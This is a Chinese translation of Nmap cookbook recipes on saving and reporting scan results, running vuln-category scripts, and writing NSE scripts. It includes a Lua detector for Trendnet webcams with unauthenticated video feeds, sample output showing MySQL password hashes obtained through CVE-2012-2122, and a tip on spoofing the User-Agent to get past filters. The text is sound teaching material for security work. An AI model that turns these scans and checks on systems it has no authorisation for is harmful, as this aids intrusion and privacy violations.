$ nmap -oX scanme.xml -oN scanme.nmap -oG scanme.grep scanme.nmap.org
在输出日志中包括调试信息
当以普通(-oN
)和 grepable 模式(-oG
)保存输出时,Nmap 不包括调试信息,如警告和错误。要使 Nmap 包括此信息,请使用指令--log-errors
,如下命令所示:
$ nmap -A -T4 -oN output.txt --log-errors scanme.nmap.org
包括端口或主机状态的原因
要使 Nmap 包括端口标记为打开或关闭以及主机标记为活动的原因,请使用选项--reason
,如下命令所示:
# nmap -F --reason scanme.nmap.org
选项--reason
将使 Nmap 包括确定端口和主机状态的数据包类型。例如:
nmap -F --reason scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up, received echo-reply (0.12s latency).
Not shown: 96 closed ports
Reason: 96 resets
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
25/tcp filtered smtp no-response
80/tcp open http syn-ack
646/tcp filtered ldp no-response
Nmap done: 1 IP address (1 host up) scanned in 3.60 seconds
追加 Nmap 输出日志
默认情况下,当使用任何输出选项(-oN
,-oX
,-oG
,-oS
)时,Nmap 会覆盖日志文件。要告诉 Nmap 追加结果而不是覆盖它们,请使用指令--append-output
,如下命令所示:
# nmap --append-output -oN existing.log scanme.nmap.org
请注意,使用 XML 文件时,Nmap 不会重建树结构。如果您打算解析或处理结果,我建议您不要使用此选项,除非您愿意手动修复文件。
详细模式下的操作系统检测
使用详细模式下的操作系统检测来查看额外的主机信息,例如用于空闲扫描的 IP-ID 序列号,使用以下命令:
# nmap -O -v <target>
另请参阅
-
以 XML 格式保存扫描结果配方
-
将扫描结果保存到 SQLite 数据库配方
-
以 grepable 格式保存扫描结果配方
-
第一章中的Nmap 基础知识配方中的使用 Ndiff 比较扫描结果
-
第一章中的Nmap 基础知识配方中的使用 Nmap 和 Ndiff 远程监视服务器
以 XML 格式保存扫描结果
可扩展标记语言(XML)是 Nmap 支持的一种广为人知的树形文件格式。扫描结果可以导出或写入 XML 文件,并用于分析或其他附加任务。这是最受欢迎的文件格式之一,因为所有编程语言都有非常稳固的 XML 解析库。
以下配方教你如何以 XML 格式保存扫描结果。
操作方法...
要将扫描结果保存到 XML 格式的文件中,请添加选项-oX <filename>
, 如下命令所示:
# nmap -A -O -oX scanme.xml scanme.nmap.org
扫描完成后,将写入包含结果的新文件:
$cat scanme.xml
<?xml version="1.0"?>
<?xml-stylesheet href="file:///usr/local/bin/../share/nmap/nmap.xsl" type="text/xsl"?>
<!-- Nmap 6.02 scan initiated Thu Jun 28 19:34:43 2012 as: nmap -p22,80,443 -oX scanme.xml scanme.nmap.org -->
<nmaprun scanner="nmap" args="nmap -p22,80,443 -oX scanme.xml scanme.nmap.org" start="1341362083" startstr="Thu Jun 28 19:34:43 2012" version="6.02" xmloutputversion="1.04">
<scaninfo type="syn" protocol="tcp" numservices="3" services="22,80,443"/>
<verbose level="0"/>
<debugging level="0"/>
<host starttime="1341362083" endtime="1341362083"><status state="up" reason="echo-reply"/>
<address addr="74.207.244.221" addrtype="ipv4"/>
<hostnames>
<hostname name="scanme.nmap.org" type="user"/>
<hostname name="scanme.nmap.org" type="PTR"/>
</hostnames>
<ports><port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="63"/><service name="ssh" method="table" conf="3"/></port>
<port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="63"/><service name="http" method="table" conf="3"/></port>
<port protocol="tcp" portid="443"><state state="closed" reason="reset" reason_ttl="63"/><service name="https" method="table" conf="3"/></port>
</ports>
<times srtt="672" rttvar="2219" to="100000"/>
</host>
<runstats><finished time="1341362083" timestr="Thu Jun 28 19:34:43 2012" elapsed="0.29" summary="Nmap done at Tue Jul 3 19:34:43 2012; 1 IP address (1 host up) scanned in 0.29 seconds" exit="success"/><hosts up="1" down="0" total="1"/>
</runstats>
</nmaprun>
工作原理...
XML 格式被广泛采用,所有编程语言都有强大的解析库。因此,许多 Nmap 用户在保存扫描结果以供后处理时更喜欢 XML 格式。Nmap 在以此格式保存扫描结果时还包括额外的调试信息。
生成的 XML 文件将包含以下信息:
-
主机和端口状态
-
服务
-
时间戳
-
执行的命令
-
Nmap 脚本引擎输出
-
运行统计和调试信息
还有更多...
如果希望打印 XML 结果而不是将其写入文件,请将选项-oX
设置为"-
",如下命令所示:
$ nmap -oX - scanme.nmap.org
Nmap 生成的 XML 文件引用了一个 XSL 样式表。XSL 用于在 Web 浏览器中查看 XML 文件。默认情况下,它指向您的本地副本nmap.xsl
,但您可以使用参数--stylesheet
来设置替代样式表,如下命令所示:
$ nmap -A -oX results.xml --stylesheet http://0xdeadbeefcafe.com/style.xsl scanme.nmap.org
然而,现代 Web 浏览器不允许您使用远程 XSL 样式表,因为同源策略(SOP)限制。我建议您将样式表放在与您尝试查看的 XML 文件相同的文件夹中,以避免这些问题。
如果不打算在 Web 浏览器中查看 XML 文件,则通过使用选项--no-stylesheet
来删除对 XSL 样式表的引用,如下命令所示:
$ nmap -oX results.xml --no-stylesheet scanme.nmap.org
以所有格式保存 Nmap 的输出
Nmap 支持别名选项-oA <basename>
,它将扫描结果保存在所有可用格式(普通、XML 和 grepable)中。不同的文件将以.nmap
、.xml
和.grep
为扩展名生成:
$ nmap -oA scanme scanme.nmap.org
运行前面的命令等同于运行以下命令:
$ nmap -oX scanme.xml -oN scanme.nmap -oG scanme.grep scanme.nmap.org
附加 Nmap 输出日志
默认情况下,当使用任何输出选项(-oN
,-oX
,-oG
,-oS
)时,Nmap 会覆盖日志文件。要告诉 Nmap 追加结果而不是覆盖它们,请使用指令--append-output
:
# nmap --append-output -oN existing.log scanme.nmap.org
请注意,使用 XML 文件时,Nmap 不会重新构建树结构。如果您计划解析或处理结果,我建议您不要使用此选项,除非您愿意手动修复文件。
NSE 的结构化脚本输出
Nmap 6 的一个新功能是 NSE 的 XML 结构化输出。此功能允许 NSE 脚本返回要反映在 XML 树中的值表:
<script id="test" output="
id: nse
uris:
index.php
test.php">
<elem key="id">nse</elem>
<table key="uris">
<elem>index.php</elem>
<elem>test.php</elem>
</table>
</script>
在撰写本书时,尚未更新所有 NSE 脚本以支持此功能。如果您正在编写自己的脚本,我强烈建议您返回一张具有有意义的键名的名称-值对表,以利用此功能。
另请参阅
-
以普通格式保存扫描结果配方
-
将扫描结果保存到 SQLite 数据库配方
-
以 grepable 格式保存扫描结果配方
-
在第一章的使用 Ndiff 比较扫描结果配方,Nmap 基础知识
-
使用 Nmap 和 Ndiff 远程监视服务器的监视服务器远程使用 Nmap 和 Ndiff配方在第一章,Nmap 基础知识
将扫描结果保存到 SQLite 数据库
开发人员将信息存储在 SQL 数据库中,因为使用灵活的 SQL 查询可以相对轻松地提取信息。但是,这是 Nmap 尚未正式包含的一个功能。PBNJ 是一组使用 Nmap 检测主机、端口和服务的网络监视工具。
以下配方将向您展示如何将扫描结果存储在 SQLite 和 MySQL 数据库中。
准备工作
PBNJ 是由 Joshua D. Abraham 编写的一组旨在监视网络完整性的工具。如果您正在运行基于 Debian 的系统,可以使用以下命令安装它:
#apt-get install pbnj
要了解 PBNJ 在其他支持 Perl 的系统上的要求和安装方法,请访问pbnj.sourceforge.net/docs.html
。
如何做到...
运行scanpbnj
并使用选项-a
输入 Nmap 参数:
#scanpbnj -a "-p-" scanme.nmap.org
Scanpbnj
将结果存储在文件config.yaml
中配置的数据库中,或设置参数。默认情况下,scanpbnj
将在当前工作目录中写入文件data.dbl
。
它是如何工作的...
PBNJ 工具套件是为了帮助系统管理员监视其网络完整性而编写的。它执行 Nmap 扫描并将返回的信息存储在配置的数据库中。
PBNJ 使用的 SQLite 数据库架构是:
CREATE TABLE machines (
mid INTEGER PRIMARY KEY AUTOINCREMENT,
ip TEXT,
host TEXT,
localh INTEGER,
os TEXT,
machine_created TEXT,
created_on TEXT);
CREATE TABLE services (
mid INTEGER,
service TEXT,
state TEXT,
port INTEGER,
protocol TEXT,
version TEXT,
banner TEXT,
machine_updated TEXT,
updated_on TEXT);
脚本scanpbnj
负责扫描并将结果存储在用户配置的数据库中。默认情况下,它使用 SQLite,并且您无需更改配置文件即可使用。数据库写入文件data.dbl
,配置文件可以在文件$HOME/.pbnj-2.0/config.yaml
中找到。要使用 MySQL 数据库,只需更改配置文件中的驱动程序和数据库信息。
在上一个示例中,我们使用参数-a
将参数传递给 Nmap。不幸的是,PBNJ 不支持 Nmap 的所有最新功能,因此我建议您通过阅读其主页来了解scanpbnj
的所有执行选项。在撰写本书时,OS 检测未正确读取 Nmap 的 CPE 输出。
还有更多...
PBNJ 还有一个名为outputpbnj
的脚本,用于提取和显示存储在数据库中的信息。要列出可用的查询,请运行以下命令:
#outputpbnj --list
例如,要运行查询以列出记录的机器,请使用以下命令:
#outputpbnj -q machines
我们得到以下输出:
Wed Jul 4 00:37:49 2012 74.207.244.221 scanme.nmap.org 0 unknown os
要检索服务清单,请使用以下命令:
#outputpbnj -q services
我们得到以下输出:
Wed Jul 4 20:38:27 2012 ssh 5.3p1 Debian 3ubuntu7 OpenSSH up
Wed Jul 4 20:38:27 2012 http 2.2.14 Apache httpd up
Wed Jul 4 20:38:27 2012 nping-echo unknown version Nping echo up
以 CSV 格式转储数据库
Outputpbnj
也支持几种不同的输出格式。要以逗号分隔值 (CSV)格式输出查询结果,请使用以下命令:
#outputpbnj -t cvs -q <query name>
输出将从数据库中提取并以 CSV 格式进行格式化:
# outputpbnj -t csv -q machines
Wed Jul 4 20:38:27 2012,74.207.244.221,scanme.nmap.org,0,unknown os
Wed Jul 4 20:38:27 2012,192.168.0.1,,0,unknown os
修复 outputpbnj
在编写本书时,存在一个 bug,导致outputpbnj
无法运行。经过一些研究,看起来补丁可能不会很快到来,因此我决定在这里包含相关的修复。
要确定您的outputpbnj
是否损坏,请尝试使用以下命令显示版本号:
# outputpbnj -v
如果您使用的是损坏的版本,您将看到以下错误消息:
Error in option spec: "test|=s"
Error in option spec: "debug|=s"
在尝试修复之前,让我们使用以下命令创建脚本的备份副本:
# cp /usr/local/bin/outputpbnj outputpbnj-original
现在用您喜欢的编辑器打开脚本并找到以下行:
'test|=s', 'debug|=s'
用以下内容替换它:
'test=s', 'debug=s'
现在您应该能够运行outputpbnj
了:
#outputpbnj -v
outputpbnj version 2.04 by Joshua D. Abraham
另请参阅
-
以普通格式保存扫描结果食谱
-
以 XML 格式保存扫描结果食谱
-
以 grepable 格式保存扫描结果食谱
-
第一章中的使用 Ndiff 比较扫描结果食谱,Nmap 基础
-
第一章中的使用 Nmap 和 Ndiff 远程监视服务器食谱,Nmap 基础
以 grepable 格式保存扫描结果
Nmap 在保存扫描结果时支持不同的文件格式。根据您的需求,您可以在普通、grepable 和 XML 格式之间进行选择。grepable 格式是为了帮助用户从日志中提取信息而包含的,而无需编写解析器,因为该格式旨在使用标准 Unix 工具进行读取/解析。尽管此功能已被弃用,但一些人仍然发现它在执行快速任务时很有用。
在以下食谱中,我们将向您展示如何以 grepable 模式输出 Nmap 扫描。
如何做到...
要将扫描结果保存到 grepable 格式的文件中,请添加选项-oG <filename>
,如以下命令所示:
# nmap -F -oG scanme.grep scanme.nmap.org
扫描完成后,输出文件应该会出现:
# cat nmap.grep
# Nmap 6.01 scan initiated Thu Jun 28 01:53:03 2012 as: nmap -oG nmap.grep -F scanme.nmap.org
Host: 74.207.244.221 (scanme.nmap.org) Status: Up
Host: 74.207.244.221 (scanme.nmap.org) Ports: 22/open/tcp//ssh///, 25/filtered/tcp//smtp///, 80/open/tcp//http///, 646/filtered/tcp//ldp/// Ignored State: closed (96)
# Nmap done at Thu Jun 28 01:53:07 2012 -- 1 IP address (1 host up) scanned in 3.49 seconds
它是如何工作的...
在 grepable 模式下,每个主机都以<field name>: <value>
的格式放在同一行上,每个字段由制表符(\t
)分隔。字段的数量取决于扫描时使用的 Nmap 选项。
有八个可能的输出字段:
-
Host:此字段始终包括,由 IP 地址和反向 DNS 名称组成(如果可用)
-
Status:此字段有三个可能的值—Up、Down 或 Unknown
-
Ports:在此字段中,端口条目由逗号和空格字符分隔,并且每个条目由斜杠字符(
/
)分成七个字段 -
Protocols:在使用 IP 协议(
-sO
)扫描时显示此字段 -
Ignored:此字段显示被忽略的端口状态的数量
-
OS:仅在使用 OS 检测(
-O
)时才显示此字段 -
Seq Index:仅在使用 OS 检测(
-O
)时才显示此字段 -
IP ID Seq:仅在使用 OS 检测(
-O
)时才显示此字段
还有更多...
如前所述,grepable 模式已被弃用。Nmap 脚本引擎的任何输出都不包括在此格式中,因此如果您正在使用 NSE,不应使用此模式。或者,您可以指定其他输出选项,将此信息存储在另一个文件中:
# nmap -A -oX results-with-nse.xml -oG results.grep scanme.nmap.org
如果希望打印 grepable 结果而不是将其写入文件,请将选项-oG
设置为"-
":
$ nmap -oG - scanme.nmap.org
以所有格式保存 Nmap 的输出
Nmap 支持别名选项-oA <basename>
,它将扫描结果保存在所有可用格式中—普通、XML 和 grepable。不同的文件将以.nmap
、.xml
和.grep
为扩展名生成:
$ nmap -oA scanme scanme.nmap.org
运行前一个命令相当于运行以下命令:
$ nmap -oX scanme.xml -oN scanme.nmap -oG scanme.grep scanme.nmap.org
附加 Nmap 输出日志
默认情况下,当使用任何输出选项(-oN
、-oX
、-oG
、-oS
)时,Nmap 会覆盖其日志文件。要告诉 Nmap 追加结果而不是覆盖它们,请使用--append-output
指令,如下面的命令所示:
# nmap --append-output -oN existing.log scanme.nmap.org
请注意,对于 XML 文件,Nmap 不会重建树结构。如果您打算解析或处理结果,我建议您不要使用此选项,除非您愿意手动修复文件。
另请参阅
-
以普通格式保存扫描结果食谱
-
以 XML 格式保存扫描结果食谱
-
将扫描结果保存到 SQLite 数据库食谱
-
在第一章 Nmap 基础知识中的使用 Ndiff 比较扫描结果食谱
-
在第一章 Nmap 基础知识中的使用 Nmap 和 Ndiff 远程监视服务器食谱
使用 Zenmap 生成网络拓扑图
Zenmap 的拓扑选项卡允许用户获得扫描的网络的图形表示。网络图用于 IT 中的几项任务,我们可以通过从 Nmap 导出拓扑图来避免使用第三方工具绘制拓扑图。此选项卡还包括几个可视化选项,以调整图的视图。
此食谱将向您展示如何使用 Zenmap 生成网络拓扑图的图像。
如何做...
使用以下命令在 Zenmap 中扫描您希望映射的网络:
# nmap -O -A 192.168.1.0/24
转到名为拓扑的选项卡。您现在应该看到拓扑图,如下面的屏幕截图所示:
单击右上角的保存图形。
输入文件名,选择文件类型,然后单击保存,如下面的屏幕截图所示:
它是如何工作的...
拓扑选项卡是 RadialNet(www.dca.ufrn.br/~joaomedeiros/radialnet/
)的改编,由 João Paulo S. Medeiros 开发,是 Zenmap 的我最喜欢的功能。它为用户提供了网络拓扑图,IT 部门可以用于多种目的,从清单到检测流氓接入点。
在 Zenmap 拓扑图中,主机由节点表示,边表示它们之间的连接。显然,此功能最适合使用--traceroute
指令,因为此选项允许 Nmap 收集有关网络路径的信息。节点还以不同的颜色和大小表示主机及其端口的状态。还有特殊图标用于表示不同类型的设备,如路由器、防火墙或接入点。
还有更多...
如果您需要将其他主机添加到当前图形中,您只需要扫描目标。Zenmap 会跟踪所有扫描,并自动将新网络添加到拓扑视图中。
Zenmap 的拓扑选项卡还提供了几个可视化控件,可以根据您的需要进行调整。这些控件包括分组、突出显示和动画。
要了解更多有关可视化控件的信息,请访问官方文档nmap.org/book/zenmap-topology.html
。
另请参阅
-
以 XML 格式保存扫描结果食谱
-
在 grepable 格式中保存扫描结果
-
在第一章 Nmap 基础知识中的使用 Zenmap 管理不同的扫描配置文件食谱
生成 HTML 扫描报告
HTML 页面在其他文件格式上有特定的优势;它们可以在大多数设备附带的 Web 浏览器中查看。因此,用户可能会发现将扫描报告生成为 HTML 并将其上传到某个地方以便轻松访问是有用的。
以下配方将向您展示如何从 XML 结果文件中生成一个显示扫描结果的 HTML 页面。
准备就绪...
对于这个任务,我们将使用一个名为“XSLT 处理器”的工具。不同平台有几种可用的选项,但对于 Unix 系统来说,最受欢迎的是名为“xsltproc”的选项;如果您正在运行现代 Linux,您很有可能已经安装了它。"Xsltproc"也适用于 Windows,但需要您为其添加一些额外的库。
如果您正在寻找其他跨平台的 XSLT(和 XQuery)处理器,它更容易在 Windows 上安装,请访问saxon.sourceforge.net/
。他们提供了基于 Java 的免费版本的"saxon"。
如何做...
首先,使用以下命令将扫描结果保存为 XML 格式:
# nmap -A -oX results.xml scanme.nmap.org
运行xsltproc
将 XML 文件转换为 HTML/CSS:
$xsltproc results.xml -o results.html
HTML 文件应该写入您的工作目录。现在,只需用您喜欢的网络浏览器打开它。
工作原理...
XSL 样式表用于直接从网络浏览器查看 XML 文件。不幸的是,现代网络浏览器包括更严格的同源策略限制,因此最好生成 HTML 报告。
xsltproc
实用程序接受以下参数:
$xsltproc <input file> -o <output file>
XML 文件中包含对 XSL 样式表的引用,并且样式是从那里获取的。
您需要确保引用的 XSL 样式表是可读的,否则xsltproc
将失败。默认情况下,Nmap 将nmap.xsl
发送到您的安装目录。如果您的系统中没有它,您可以从<url>
下载它,将其放在您的工作目录中,并使用指令--stylesheet
:
#cp /usr/local/share/nmap/nmap.xsl
最后,我们应该在同一个文件夹(我们的工作目录)中有nmap.xsl
和我们的结果文件results.xml
。
还有更多...
如果您的系统中没有 XSL 样式表,您可以使用指令--webxml
来让 Nmap 使用以下命令引用在线副本:
# nmap -A -oX results.xml --webxml scanme.nmap.org
要自定义报告的外观,可以编辑 XSL 样式表。我建议您从文件nmap.xsl
开始学习字段名称。
另请参阅
-
以正常格式保存扫描结果配方
-
以 XML 格式保存扫描结果配方
-
以 grepable 格式保存扫描结果配方
-
以正常格式保存扫描结果配方
-
将扫描结果保存到 SQLite 数据库配方
-
在第一章中的使用 Nmap 基础中的使用 Ndiff 比较扫描结果配方
-
在第一章中的使用 Nmap 和 Ndiff 远程监视服务器配方
报告扫描期间执行的漏洞检查
通过使用 NSE 脚本,Nmap 可以变成一个漏洞扫描器。vuln
库管理和统一了 Nmap 脚本引擎执行的漏洞检查的输出。
这个配方将向您展示如何让 Nmap 报告执行的漏洞检查。
如何做...
通过使用以下命令对目标启动vuln
类别下的 NSE 脚本:
nmap -sV --script vuln <target>
如果你幸运的话,你会看到一个漏洞报告:
PORT STATE SERVICE REASON
306/tcp open mysql syn-ack
mysql-vuln-cve2012-2122:
VULNERABLE:
Authentication bypass in MySQL servers.
State: VULNERABLE
IDs: CVE:CVE-2012-2122
Description:
When a user connects to MariaDB/MySQL, a token (SHA
over a password and a random scramble string) is calculated and compared
with the expected value. Because of incorrect casting, it might've
happened that the token and the expected value were considered equal,
even if the memcmp() returned a non-zero value. In this case
MySQL/MariaDB would think that the password is correct, even while it is
not. Because the protocol uses random strings, the probability of
hitting this bug is about 1/256.
Which means, if one knows a user name to connect (and "root" almost
always exists), she can connect using *any* password by repeating
connection attempts. ~300 attempts takes only a fraction of second, so
basically account password protection is as good as nonexistent.
Disclosure date: 2012-06-9
Extra information:
Server granted access at iteration #204
root:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
debian-sys-maint:*BDA9386EE35F7F326239844C185B01E3912749BF
phpmyadmin:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
References:
https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
http://seclists.org/oss-sec/2012/q2/493
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2122
工作原理...
使用选项--script vuln
告诉 Nmap 启动类别vuln
下的所有 NSE 脚本。vuln
库返回多个字段,如名称、描述、CVE、OSVDB、披露日期、风险因素、利用结果、CVSS 分数、参考链接和其他额外信息。
vuln
库由 Djalal Harouni 和 Henri Doreau 创建,用于报告和存储 Nmap 发现的漏洞。库返回的信息帮助我们编写漏洞报告,提供了有关漏洞的详细信息。请记住,该库是最近引入的,并非所有 NSE 脚本都使用它。
还有更多...
如果您希望 Nmap 报告所有安全检查,甚至是不成功的,请设置库参数vulns.showall
:
# nmap -sV --script vuln --script-args vulns.showall <target>
每个vuln
NSE 脚本都会报告其状态:
http-phpself-xss:
NOT VULNERABLE:
Unsafe use of $_SERVER["PHP_SELF"] in PHP files
State: NOT VULNERABLE
References:
http://php.net/manual/en/reserved.variables.server.php
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
另请参阅
-
以正常格式保存扫描结果配方
-
以 XML 格式保存扫描结果配方
-
第一章中的对远程主机的服务进行指纹识别配方,Nmap 基础
-
第三章“收集额外主机信息”中的匹配已知安全漏洞的服务配方
第九章:编写您自己的 NSE 脚本
注意
本章将向您展示如何执行在许多情况下可能是非法、不道德、违反服务条款或不明智的一些操作。这里提供这些信息是为了让您了解如何保护自己免受威胁,并使自己的系统更加安全。在遵循这些说明之前,请确保您站在法律和道德的一边……善用您的力量!
在本章中,我们将涵盖:
-
通过发出 HTTP 请求来识别易受攻击的 Trendnet 网络摄像头
-
使用 NSE 套接字发送 UDP 有效载荷
-
利用 NSE 利用路径遍历漏洞
-
编写暴力破解脚本
-
使用网络爬虫库
-
在 NSE 脚本中正确报告漏洞
-
编写您自己的 NSE 库
-
在 NSE 线程、条件变量和互斥体中工作
介绍
Nmap 脚本引擎于 2007 年在版本 4.5 中推出,以利用在端口或网络扫描期间收集的信息,并使用强大的脚本语言 Lua 执行附加任务,从而将 Nmap 的功能扩展到一个全新的水平。这一功能已经成为一个完整的武器库,已经正式包含了近 300 个脚本。您可以通过这一功能完成的任务数量令人印象深刻,就像您在本书中学到的那样。
Lua 是一种脚本语言,目前在其他重要项目中使用,如魔兽世界、Wireshark 和 Snort,有很好的原因。Lua 非常轻量级和可扩展。作为 NSE 开发人员,我对 Lua 的经验非常积极。该语言非常强大和灵活,但语法清晰且易于学习。因为 Lua 本身就是一个完整的主题,我将无法专注于其所有出色的功能,但我建议您阅读官方参考手册www.lua.org/manual/5.2/
。
每个 NSE 脚本接收两个参数:主机和端口表。它们包含在发现或端口扫描期间收集的信息。只有在设置了某些标志时,才会填充一些信息字段。主机表中的一些字段是:
-
host.os
:包含 OS 匹配数组的表(需要标志-O
) -
host.ip
:目标 IP -
host.name
:如果可用,返回反向 DNS 条目
有关完整字段列表,请访问nmap.org/book/nse-api.html#nse-api-arguments
。
另一方面,端口表包含:
-
port.number
:端口号 -
port.protocol
:端口协议 -
port.service
:服务名称 -
port.version
:服务版本 -
port.state
:端口状态
Nmap 脚本引擎提供的灵活性和信息的结合,使渗透测试人员和系统管理员在编写脚本自动化任务时节省了大量的开发时间。
Nmap 背后的社区是令人惊讶且非常合作的。我可以说他们是开源社区中最热情的人之一。每周都会添加新的脚本和库,这也成为渗透测试人员需要将最新的开发快照纳入其武器库的原因。
为了纪念 David Fifield 和 Fyodor 在 Defcon 2010 中介绍 Nmap 脚本引擎的演讲,他们编写了一个脚本来检测易受攻击的 httpd 网络摄像头,我们将开始编写我们自己的 NSE 脚本来检测 Trendnet 摄像头。
在本章中,您还将学习如何编写执行暴力破解密码审核的 NSE 脚本,并使用新的 HTTP 爬虫库来自动执行安全检查。我们将讨论处理 NSE 套接字和原始数据包以利用漏洞的脚本。我们将介绍一些 NSE 库,这些库允许我们发出 HTTP 请求、管理找到的凭据,并向用户报告漏洞。
Nmap 脚本引擎发展迅速,增长更快。由于空间有限,不可能涵盖该项目已经拥有的所有优秀 NSE 脚本和库,但我邀请您访问官方书籍网站nmap-cookbook.com
获取额外的配方和脚本示例,我将在未来发布。
希望在阅读我为您挑选的配方后,您将学会应对更具挑战性的任务所需的所有必要工具。将调试模式设为您的朋友(-d[1-9]
),当然,不要忘记通过将您的脚本或补丁发送至<nmap-dev@insecure.org>
来为这个令人惊叹的项目做出贡献。
如果这是您第一次为 NSE 编写脚本,我建议您下载并学习脚本的整体结构和必要字段。我上传了我用于github.com/cldrn/nmap-nse-scripts/raw/master/nse-script-template.nse
的模板。
Ron Bowes 还在nmap.org/svn/docs/sample-script.nse
上为 NSE 脚本编写了非常详细的模板。
完整的 NSE 脚本格式文档可以在nmap.org/book/nse-script-format.html
上找到。
进行 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头
Nmap 脚本引擎提供了一个库,用于处理 HTTP 客户端的请求和其他常见功能。使用此库,NSE 开发人员可以完成许多任务,从信息收集到漏洞利用。
此配方将向您展示如何使用 HTTP 库发送 HTTP 请求以识别易受攻击的 Trendnet TV-IP110W 网络摄像头。
如何操作...
Trendnet TV-IP110W 网络摄像头允许通过简单请求 URI/anony/mjpg.cgi
来访问其视频源而无需身份验证。让我们编写一个 NSE 脚本来检测这些设备。现在,让我们忽略文档标签:
- 创建文件
http-trendnet-tvip110w.nse
,并从填写 NSE 脚本基本信息字段开始:
description = [[
Attempts to detect webcams Trendnet TV-IP110W vulnerable to unauthenticated access to the video stream by querying the URI "/anony/mjpg.cgi".
Original advisory: http://console-cowboys.blogspot.com/2012/01/trendnet-cameras-i-always-feel-like.html
]]
categories = {"exploit","vuln"}
- 我们加载将需要的库。请注意,此格式对应于 Nmap 6.x:
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
- 我们定义我们的执行规则。我们使用别名
shortport.http
告诉 Nmap 在找到 Web 服务器时执行脚本:
portrule = shortport.http
- 我们的主要功能将识别 404 响应的类型,并通过向
/anony/mjpg.cgi
发送 HTTP 请求并检查状态码 200 来确定网络摄像头是否容易受到未经授权的访问:
action = function(host, port)
local uri = "/anony/mjpg.cgi"
local _, status_404, resp_404 = http.identify_404(host, port)
if status_404 == 200 then
stdnse.print_debug(1, "%s: Web server returns ambiguous response. Trendnet webcams return standard 404 status responses. Exiting.", SCRIPT_NAME)
return
end
stdnse.print_debug(1, "%s: HTTP HEAD %s", SCRIPT_NAME, uri)
local resp = http.head(host, port, uri)
if resp.status and resp.status == 200 then
return string.format("Trendnet TV-IP110W video feed is unprotected:http://%s/anony/mjpg.cgi", host.ip)
end
end
- 现在只需针对目标运行 NSE 脚本:
$ nmap -p80 -n -Pn --script http-trendnet-tvip110w.nse <target>
- 如果找到易受攻击的网络摄像头,您将看到以下输出:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
|_http-trendnet-tvip110w: Trendnet TV-IP110W video feed is unprotected:http://192.168.4.20/anony/mjpg.cgi
带有文档标签的完整脚本可以从github.com/cldrn/nmap-nse-scripts/raw/master/scripts/6.x/http-trendnet-tvip110w.nse
下载。
工作原理...
在脚本http-trendnet-tvip110w.nse
中,我们使用shortport
库中的别名http
定义了执行规则:
portrule = shortport.http
别名shortport.http
在文件/nselib/shortport.lua
中定义如下:
LIKELY_HTTP_PORTS = {
80, 443, 631, 7080, 8080, 8088, 5800, 3872, 8180, 8000
}
LIKELY_HTTP_SERVICES = {
"http", "https", "ipp", "http-alt", "vnc-http", "oem-agent", "soap",
"http-proxy",
}
http = port_or_service(LIKELY_HTTP_PORTS, LIKELY_HTTP_SERVICES)
http
库具有诸如http.head()
、http.get()
和http.post()
的方法,分别对应于常见的 HTTP 方法HEAD
、GET
和POST
,但它还有一个名为http.generic_request()
的通用方法,允许开发人员更灵活地尝试更晦涩的 HTTP 动词。
在脚本http-trendnet-tvip110w
中,我们使用函数http.head()
检索 URI/anony/mjpg.cgi
:
local resp = http.head(host, port, uri)
函数http.head()
返回一个包含以下响应信息的表:
-
status-line
:包含返回的状态行。例如,HTTP/1.1 404 Not Found
。 -
status
:包含 Web 服务器返回的状态码。 -
body
:包含响应正文。 -
cookies
:Web 服务器设置的 cookie 表。 -
header
:返回的标题存储在关联表中。标题的名称用作索引。例如,header["server"]
包含 Web 服务器返回的 Server 字段。 -
rawheader
:按照它们被 Web 服务器发送的顺序编号的标题的数组。
脚本http-trendnet-tvip110w.nse
中还使用了库stdnse
。这个库是一组在编写 NSE 脚本时非常方便的杂项函数。脚本使用了函数stdnse.print_debug()
,这是一个用于打印调试消息的函数。
stdnse.print_debug(<debug level required>, <format string>, arg1, arg2...)
这些库的完整文档可以在nmap.org/nsedoc/lib/http.html
和nmap.org/nsedoc/lib/stdnse.html
找到。
还有更多...
当页面不存在时,一些 Web 服务器不会返回常规的状态 404 代码响应,而是始终返回状态码 200。这是一个经常被忽视的方面,甚至我以前也犯过这个错误,假设状态码 200 意味着 URI 存在。我们需要小心处理这个问题,以避免在我们的脚本中出现误报。函数http.identify_404()
和http.page_exists()
被创建用于识别服务器是否返回常规的 404 响应以及给定页面是否存在。
local status_404, req_404, page_404 = http.identify_404(host, port)
如果函数http.identify_404(host, port)
成功,我们可以使用http.page_exists()
:
if http.page_exists(data, req_404, page_404, uri, true) then
stdnse.print_debug(1, "Page exists! → %s", uri)
end
调试 Nmap 脚本
如果发生意外情况,请打开调试以获取更多信息。Nmap 使用-d
标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
以编程方式设置用户代理
有些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理的请求。您可以通过设置参数http.useragent
来使用不同的用户代理值:
$ nmap -p80 --script http-sqli-finder --script-args http.useragent="Mozilla 42" <target>
要在您的 NSE 脚本中设置用户代理,可以传递标题字段:
options = {header={}}
options['header']['User-Agent'] = "Mozilla/9.1 (compatible; Windows NT 5.0 build 1420;)"
local req = http.get(host, port, uri, options)
HTTP 流水线处理
某些 Web 服务器的配置支持在单个数据包中封装多个 HTTP 请求。这可能加快 NSE HTTP 脚本的执行速度,建议如果 Web 服务器支持,则使用它。默认情况下,http
库尝试对 40 个请求进行流水线处理,并根据网络条件和Keep-Alive
标头自动调整该数字。
用户需要设置脚本参数http.pipeline
来调整此值:
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
要在您的 NSE 脚本中实现 HTTP 流水线处理,请使用函数http.pipeline_add()
和http.pipeline()
。首先,初始化一个变量来保存请求:
local reqs = nil
使用http.pipeline_add()
向管道添加请求:
reqs = http.pipeline_add('/Trace.axd', nil, reqs)
